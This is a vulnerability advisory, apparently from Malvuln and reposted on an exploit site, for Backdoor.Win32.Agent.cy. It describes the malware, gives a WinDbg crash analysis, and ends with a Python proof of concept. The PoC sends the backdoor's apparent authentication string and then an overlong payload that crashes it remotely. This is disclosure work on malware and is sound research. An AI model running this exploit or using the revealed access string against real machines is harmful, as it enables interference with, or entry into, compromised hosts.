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## https://sploitus.com/exploit?id=PACKETSTORM:162587
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/e85a1028a52fcc723353a236ada54fee_C.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.cy  
Vulnerability: Denial of Service  
Description: The malware listens on TCP port 1111, drops an executable named "Spoolsw.exe" under SysWOW64 that runs with SYSTEM integrity. Authenticated intruders can send a 64 byte packet and trigger a null pointer read and crash of the backdoor.  
Type: PE32  
MD5: e85a1028a52fcc723353a236ada54fee  
Vuln ID: MVID-2021-0209  
Dropped files: Spoolsw.exe  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 05/14/2021  
  
Memory Dump:  
(630.1cc0): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=000a5a74 edx=000a58e4 esi=00000003 edi=00000003  
eip=77aeed3c esp=000a5068 ebp=000a51f8 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
77aeed3c c21400 ret 14h  
  
0:000> .ecxr  
eax=00000000 ebx=750ce250 ecx=000a5a74 edx=000a58e4 esi=00000124 edi=00409388  
eip=004014f5 esp=000a5984 ebp=750d5e40 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
*** WARNING: Unable to verify checksum for Spoolsw.exe  
*** ERROR: Module load completed but symbols could not be loaded for Spoolsw.exe  
Spoolsw+0x14f5:  
004014f5 8a10 mov dl,byte ptr [eax] ds:002b:00000000=??  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
Spoolsw+14f5  
004014f5 8a10 mov dl,byte ptr [eax]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 004014f5 (Spoolsw+0x000014f5)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 00000000  
Attempt to read from address 00000000  
  
DEFAULT_BUCKET_ID: NULL_POINTER_READ  
  
PROCESS_NAME: Spoolsw.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 00000000  
  
READ_ADDRESS: 00000000   
  
FOLLOWUP_IP:   
Spoolsw+14f5  
004014f5 8a10 mov dl,byte ptr [eax]  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00001cc0  
  
PRIMARY_PROBLEM_CLASS: NULL_POINTER_READ  
  
BUGCHECK_STR: APPLICATION_FAULT_NULL_POINTER_READ  
  
IP_ON_HEAP: 0019fcb3  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
FRAME_ONE_INVALID: 1  
  
LAST_CONTROL_TRANSFER: from 0019fcb3 to 004014f5  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
000a5980 0019fcb3 024c4798 00000000 00000000 Spoolsw+0x14f5  
0040738c 616d616e 656c6966 676e6179 65746964 0x19fcb3  
00407390 656c6966 676e6179 65746964 616d6972 0x616d616e  
00407394 676e6179 65746964 616d6972 7478742e 0x656c6966  
00407398 65746964 616d6972 7478742e 00000000 0x676e6179  
0040739c 616d6972 7478742e 00000000 6972696b 0x65746964  
004073a0 7478742e 00000000 6972696b 0000006d 0x616d6972  
004073cc 6f70535c 77736c6f 6578652e 00000000 sechost!EtwpMapEventToEventRecord+0x3fe  
004073e4 25746f6f 7379535c 336d6574 70535c32 0x6f70535c  
004073e8 7379535c 336d6574 70535c32 736c6f6f 0x25746f6f  
004073ec 336d6574 70535c32 736c6f6f 78652e77 0x7379535c  
004073f0 70535c32 736c6f6f 78652e77 00000065 0x336d6574  
004073f4 736c6f6f 78652e77 00000065 00000000 0x70535c32  
004073f8 78652e77 00000065 00000000 ffffffff 0x736c6f6f  
004073fc 00000000 00000000 ffffffff 00401993 0x78652e77  
  
  
STACK_COMMAND: ~0s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Spoolsw+14f5  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Spoolsw  
  
IMAGE_NAME: Spoolsw.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 417adf55  
  
FAILURE_BUCKET_ID: NULL_POINTER_READ_c0000005_Spoolsw.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_NULL_POINTER_READ_Spoolsw+14f5  
  
0:000> s -d 0 L?80000000 41414141  
000a5c5c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c64 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c6c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c74 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c78 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c7c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c84 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c88 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA  
000a5c8c 41414141 41414141 41414141 0a0d4141 AAAAAAAAAAAAAA..  
000a5c90 41414141 41414141 0a0d4141 00000000 AAAAAAAAAA......  
  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=1111  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(512)  
if "\0" in res or "\n" in res or res == "" or "OK" in res:  
break  
return res  
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
time.sleep(1)  
  
PAYLOAD="TrFsB-RuleZ\r\n"   
  
s.send(PAYLOAD)  
print(chk_res(s))  
  
time.sleep(2)  
  
PAYLOAD="terima"+"A"*64+"\r\n"  
s.send(PAYLOAD)  
s.close()  
  
  
if __name__=="__main__":  
doit()  
print("Backdoor.Win32.Agent.cy / Remote DoS")  
print("MD5: e85a1028a52fcc723353a236ada54fee")  
print("Malvuln")  
  
  
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